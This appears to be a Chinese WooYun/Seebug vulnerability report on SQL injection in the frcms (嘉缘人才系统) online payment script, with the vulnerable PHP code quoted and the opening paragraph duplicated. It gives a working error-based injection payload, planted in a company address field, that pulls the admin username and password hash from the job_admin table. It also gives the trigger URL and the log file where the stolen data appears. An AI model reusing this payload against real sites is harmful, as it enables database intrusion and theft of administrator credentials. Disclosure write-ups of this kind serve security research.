### 简要描述: rt ### 详细说明: 看到\frcms\plus\onlinepay\send.php ``` require_once(dirname(__FILE__).'/../../config.inc.php'); $db=connectdb(); $paytype=intval($paytype); $amount = trim($amount); if(!is_numeric($amount)){showmsg('支付金额不合法,必须为数字。',"-1");exit;} if(!strpos($amount,'.')) $amount=$amount.".00"; $rs = $db->get_one("select p_no,p_shid,p_key,p_name from {$cfg['tb_pre']}payonline where p_chk=1 and p_flag=$paytype"); if($rs){ $ipayno=base64_decode($rs["p_no"]); $ipayid=base64_decode($rs["p_shid"]); $ipaykey=base64_decode($rs["p_key"]); $ipayname=$rs["p_name"]; }else{ showmsg('操作失败!接口故障请联系管理员。',"-1");exit; } $orderno = date('YmdHis'); //如果是会员查询会员的相关联系信息 if(_getcookie('user_login')!=''){ $username=_getcookie('user_login'); //注入一 $rs = $db->get_one("select m_tel,m_email,m_address from {$cfg['tb_pre']}member where m_login='$username'"); if($rs){ $p_address=$rs['m_address']; //注入二 $p_email=$rs['m_email']; $p_tel=$rs['m_tel']; }else{ showmsg('查无此用户信息,请与网站管理员联系。',"/index.php");exit; } }else{...
### 简要描述: rt ### 详细说明: 看到\frcms\plus\onlinepay\send.php ``` require_once(dirname(__FILE__).'/../../config.inc.php'); $db=connectdb(); $paytype=intval($paytype); $amount = trim($amount); if(!is_numeric($amount)){showmsg('支付金额不合法,必须为数字。',"-1");exit;} if(!strpos($amount,'.')) $amount=$amount.".00"; $rs = $db->get_one("select p_no,p_shid,p_key,p_name from {$cfg['tb_pre']}payonline where p_chk=1 and p_flag=$paytype"); if($rs){ $ipayno=base64_decode($rs["p_no"]); $ipayid=base64_decode($rs["p_shid"]); $ipaykey=base64_decode($rs["p_key"]); $ipayname=$rs["p_name"]; }else{ showmsg('操作失败!接口故障请联系管理员。',"-1");exit; } $orderno = date('YmdHis'); //如果是会员查询会员的相关联系信息 if(_getcookie('user_login')!=''){ $username=_getcookie('user_login'); //注入一 $rs = $db->get_one("select m_tel,m_email,m_address from {$cfg['tb_pre']}member where m_login='$username'"); if($rs){ $p_address=$rs['m_address']; //注入二 $p_email=$rs['m_email']; $p_tel=$rs['m_tel']; }else{ showmsg('查无此用户信息,请与网站管理员联系。',"/index.php");exit; } }else{ showmsg('登陆时间过长 或 账户为无效账户,请与网站管理员联系。',"../../login.php");exit; } $p_address=$p_address==''?'无地址':$p_address; $p_tel=$p_tel==''?'0':$p_tel; $p_mid=$ipayno; $p_amount=$amount; $p_type=$ipayname; $p_pmode=''; $p_oid=$orderno; $p_content=$cfg['sitename'].'会员充值,订单号:'.$orderno; $p_member=$username; $p_class=_getcookie('user_type'); $p_date=date('Y-m-d H:i:s'); $p_userip=getip(); //存入在线缴费记录表 $db ->query("INSERT INTO {$cfg['tb_pre']}payback (p_mid,p_amount,p_type,p_pmode,p_oid,p_content,p_member,p_class,p_address,p_email,p_tel,p_date,p_userip,p_isucceed) VALUES('$p_mid','$p_amount','$p_type','$p_pmode','$p_oid','$p_content','$p_member','$p_class','$p_address','$p_email','$p_tel','$p_date','$p_userip',0)"); ``` 注入一根据前面 [WooYun: 嘉缘人才系统sql注入](http://www.wooyun.org/bugs/wooyun-2015-098098) 这个漏洞,可以知道如何利用。 但是在新版的cookie加上了$cfg['cookie_encode'],但是getcookie函数也变了。 ``` function _getcookie($var) { global $cfg; $var = $cfg['cookie_pre'].$var; return isset($_COOKIE[$var]) ? substr(base64_decode($_COOKIE[$var]),0,-strlen($cfg['cookie_encode'])) : ''; } ``` 所以不影响利用。 第二处 任意注册一个公司把公司地址修改为 ``` 'or char(@`'`) or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(a_user,0x27,a_pass)) FROM job_admin limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) ,0)# ``` 需要抓包修改一下 [<img src="https://images.seebug.org/upload/201503/1617072036b40cb5d5b4309a96775374a5eca062.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1617072036b40cb5d5b4309a96775374a5eca062.png) 然后访问 ``` http://127.0.0.1/frcms/plus/onlinepay/send.php?paytype=2&amount=1 ``` [<img src="https://images.seebug.org/upload/201503/16170845faa441fe89b0c7e37a0dafd661a3a850.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16170845faa441fe89b0c7e37a0dafd661a3a850.png) 根据 [WooYun: 嘉缘人才系统两处sql注入打包(直接出数据)](http://www.wooyun.org/bugs/wooyun-2015-0101044) ``` 找到记录文件 http://127.0.0.1/frcms/data/log/sql_e15a0a25dbd4030a31357433e2a1b26a.txt ``` [<img src="https://images.seebug.org/upload/201503/161709581cea6af4d885b8c697c55db41c061237.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/161709581cea6af4d885b8c697c55db41c061237.png) 数据已出 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201503/161709581cea6af4d885b8c697c55db41c061237.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/161709581cea6af4d885b8c697c55db41c061237.png)